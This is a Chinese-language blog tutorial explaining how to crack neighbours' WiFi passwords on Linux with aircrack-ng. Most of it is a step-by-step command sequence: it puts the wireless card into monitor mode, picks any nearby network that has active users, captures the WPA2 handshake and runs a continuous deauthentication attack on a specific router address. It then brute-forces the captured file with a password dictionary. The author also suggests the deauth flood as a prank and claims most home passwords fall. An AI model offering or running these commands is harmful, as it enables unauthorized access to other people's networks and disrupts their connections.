1. 程式人生 > >linux 下使用 Aircrack-ng 破解WiFi密碼,暴力破解

linux 下使用 Aircrack-ng 破解WiFi密碼,暴力破解

暴力破解概述

1:窮舉法是一種針對於密碼的破譯方法。這種方法很像數學上的“完全歸納法”並在密碼破譯方面得到了廣泛的應用。簡單來說就是將密碼進行逐個推算直到找出真正的密碼為止。比如一個四位並且全部由數字組成其密碼共有10000種組合,也就是說最多我們會嘗試9999次才能找到真正的密碼。利用這種方法我們可以運用計算機來進行逐個推算,也就是說用我們破解任何一個密碼也都只是一個時間問題
2:當然如果破譯一個有8位而且有可能擁有大小寫字母、數字、以及符號的密碼用普通的家用電腦可能會用掉幾個月甚至更多的時間去計算,其組合方法可能有幾千萬億種組合。這樣長的時間顯然是不能接受的。其解決辦法就是運用字典,所謂“字典”就是給密碼鎖定某個範圍,比如英文單詞以及生日的數字組合等,所有的英文單詞不過10萬個左右這樣可以大大縮小密碼範圍,很大程度上縮短了破譯時間

使用環境:

1:使用linux系統操作
2:周圍有wifi
3:你要攻擊的wifi有人在使用(即至少有一個人正在連著該wifi)

破解wifi密碼操作步驟

1: 通過aircrack-ng 工具,將網絡卡改為監聽模式
2 :確定目標WiFi 的資訊,比如mac 地址和通道,連線數等等
3 :模擬無線,抓取密碼資訊
4:確定目標使用者,對其發動攻擊
5:得到加密的無線資訊並進行破解(通過密碼字典)
步驟就是這樣了,接下來我來破解下附近的WiFi

WiFi密碼破解步驟演示

1:使用ifconfig查詢ip無線網絡卡名稱(一般是wlan0,我的是wlp2s0)

在這裡插入圖片描述

2:開啟無線網絡卡的監聽模式

sudo
airmon-ng start wlp2s0

如圖所示,網絡卡名稱可能會發生改變(增加了mon),此時為監聽模式,注意:此時電腦無法連線wifi,如果發現電腦設定裡面無線連線消失了,是正常的,破解完wifi密碼後,關閉監聽模式無線連線就重新出現了
在這裡插入圖片描述

3:掃描目標WiFi

sudo airodump-ng wlp2s0mon

ontsize/400/fill/I0JBQkFCMA==/dissolve/70)
圖中標記的紅色框是幹嘛的:
Data 當前wifi資料大小,有資料就表明有人正在使用,你就可以把它作為一個選擇了。
經過觀察之後選擇一個你想破解或者攻擊的wifi,前提是它得有資料顯示,Data的那列,所以選擇攻擊的wifi最好先從Data看起來,選擇一個有資料(資料越大越好)的wifi之後按Ctrl+c 停止檢測,複製你選擇的Mac地址。

現在我們要確認一些資訊,及目標AP(就是WiFi,以下簡稱AP) 的MAC 地址,AP 的通道和加密方式:
BSSID:目標AP的MAC地址(WiFi路由器的) 圖中藍色框
CH(通道):1 圖中黃色框
加密方式:WPA2
我們只需要這些資訊就足夠了

4:模擬WiFi 訊號抓包

sudo airodump-ng --ivs -c 11 --bssid  B4:B6:76:69:39:EF  -w ~/Desktop/cap/hahaha wlp2s0mon

–ivs :指定生成檔案的格式,這裡格式是ivs(比如:hahaha.ivs)
-w :指定檔案的名稱叫什麼,這裡叫hahaha
–bssid :目標AP的MAC地址
-c :指定我們模擬的WiFi的通道,這裡是11
在這裡插入圖片描述

5:進行洪水攻擊,保持上面的視窗不要關閉,重新開一個視窗輸入命令

sudo aireplay-ng -0 0 -a B4:B6:76:69:39:EF  wlp2s0mon

0 表示不斷攻擊 ,這個命令也可以理解為:讓當前路由下的所有連線斷開,要是搞惡作劇的話你可以試試哈!
在這裡插入圖片描述
注意黃色框的位置,如果在傳送攻擊資料包之後出現了黃色框的資訊,那麼就是密碼資訊抓取成功了,如果出現了這個的話就可以結束WiFi 模擬了,我們可以按Ctrl+C 然後檢視我們指定的目錄會發現多了一個hahaha-01.ivs 檔案,我們想要的密碼就在這個檔案裡,不過是加密的,所有我們還需要通過密碼字典把密碼破解出來

注:1:如果一直不出現,就再換一個wifi攻擊,儘量挑選Data值高的攻擊,如果Data為0,不可能成功。 2:有的時候會報下圖這種錯誤,我也不知道為什麼,多執行幾次就好了。如果有知道的,可以留言給我,謝謝。
在這裡插入圖片描述

6:指定密碼本來破解此檔案

sudo aircrack-ng -w ~/Desktop/cap/password.txt ~/Desktop/cap/hahaha-01.ivs

~/Desktop/cap/password.txt :是密碼本路徑
~/Desktop/cap/hahaha-01.ivs:是抓取的包
注意:如果wifi密碼很複雜,比如數字字母特殊字元都有,可能需要破解很長時間,甚至破解不出來,跟字典也有關係,不過一般來說,誰家密碼那麼複雜,根據我個人使用,大部分都可以破解,但是帶特殊字元的基本上破解不了,純數字的幾秒就破解了,字母加數字的一般也都能破解,只是要花點時間。。。

7關閉監聽模式連線wifi

sudo airmon-ng stop wlp2s0mon